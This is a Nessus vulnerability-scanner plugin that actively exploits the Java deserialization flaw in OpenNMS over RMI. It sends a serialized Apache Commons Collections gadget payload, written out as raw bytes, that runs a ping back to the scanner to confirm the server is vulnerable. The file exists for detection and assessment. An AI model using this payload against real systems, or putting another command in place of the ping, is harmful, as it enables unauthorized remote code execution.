OpenNMS Java Object Deserialization RCE

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(87311);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_xref(name:"CERT", value:"576313");

  script_name(english:"OpenNMS Java Object Deserialization RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote OpenNMS server is affected by a remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote OpenNMS server is affected by a remote code execution
vulnerability due to unsafe deserialize calls of unauthenticated
Java objects to the Apache Commons Collections (ACC) library. An
unauthenticated, remote attacker can exploit this, by sending a
crafted RMI request, to execute arbitrary code on the target host.");
  # https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6d83db");
  script_set_attribute(attribute:"solution", value:
"Ensure that all exposed ports used by the OpenNMS server, including
the rmi_registry port which exists in default configurations on port
1099, are firewalled from any public networks.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/12/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:opennms:opennms");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2015-2022 Tenable Network Security, Inc.");

  script_dependencies("rmiregistry_detect.nasl");
  script_require_ports("Services/unknown", 1099);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("byte_func.inc");
include("misc_func.inc");

port = get_service(svc:"rmi_registry", ipproto:"tcp", exit_on_fail:1);

# Open connection to OpenNMS.
soc = open_sock_tcp(port);

if (!soc) audit(AUDIT_SOCK_FAIL,port,"OpenNMS");

#
# setup unique id for pingback
#
id_tag = hexstr(rand_str(length:10));

#
# build INVITE request
#
raddress = get_host_ip();
laddress = compat::this_host();

cmd = "ping -c 10 -p " + id_tag + " " + laddress;
cmdlen = strlen(cmd);

data1 = '\x4a\x52\x4d\x49\x00\x02\x4b';

data2 = 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data2 += '\x00' + raw_string(cmdlen);
data2 += cmd;
data2 += '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f';

#
# send RMI payload
#
send(socket:soc, data:data1);
resp = recv(socket:soc, length:8192);

# See if we get a response
filter = "icmp and icmp[0] = 8 and src host " + raddress;
s = send_capture(socket:soc, data:data2, pcap_filter:filter);
s = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
close(soc);

# No response, meaning we didn't get in
if(isnull(s) || id_tag >!< s) audit(AUDIT_LISTEN_NOT_VULN,"OpenNMS",port);

report = NULL;

if (report_verbosity > 0)
{
  report =
    '\n' + 'Nessus was able to exploit a Java deserialization vulnerability using' +
    '\n' + 'a crafted RMI request.' +
    '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port:port);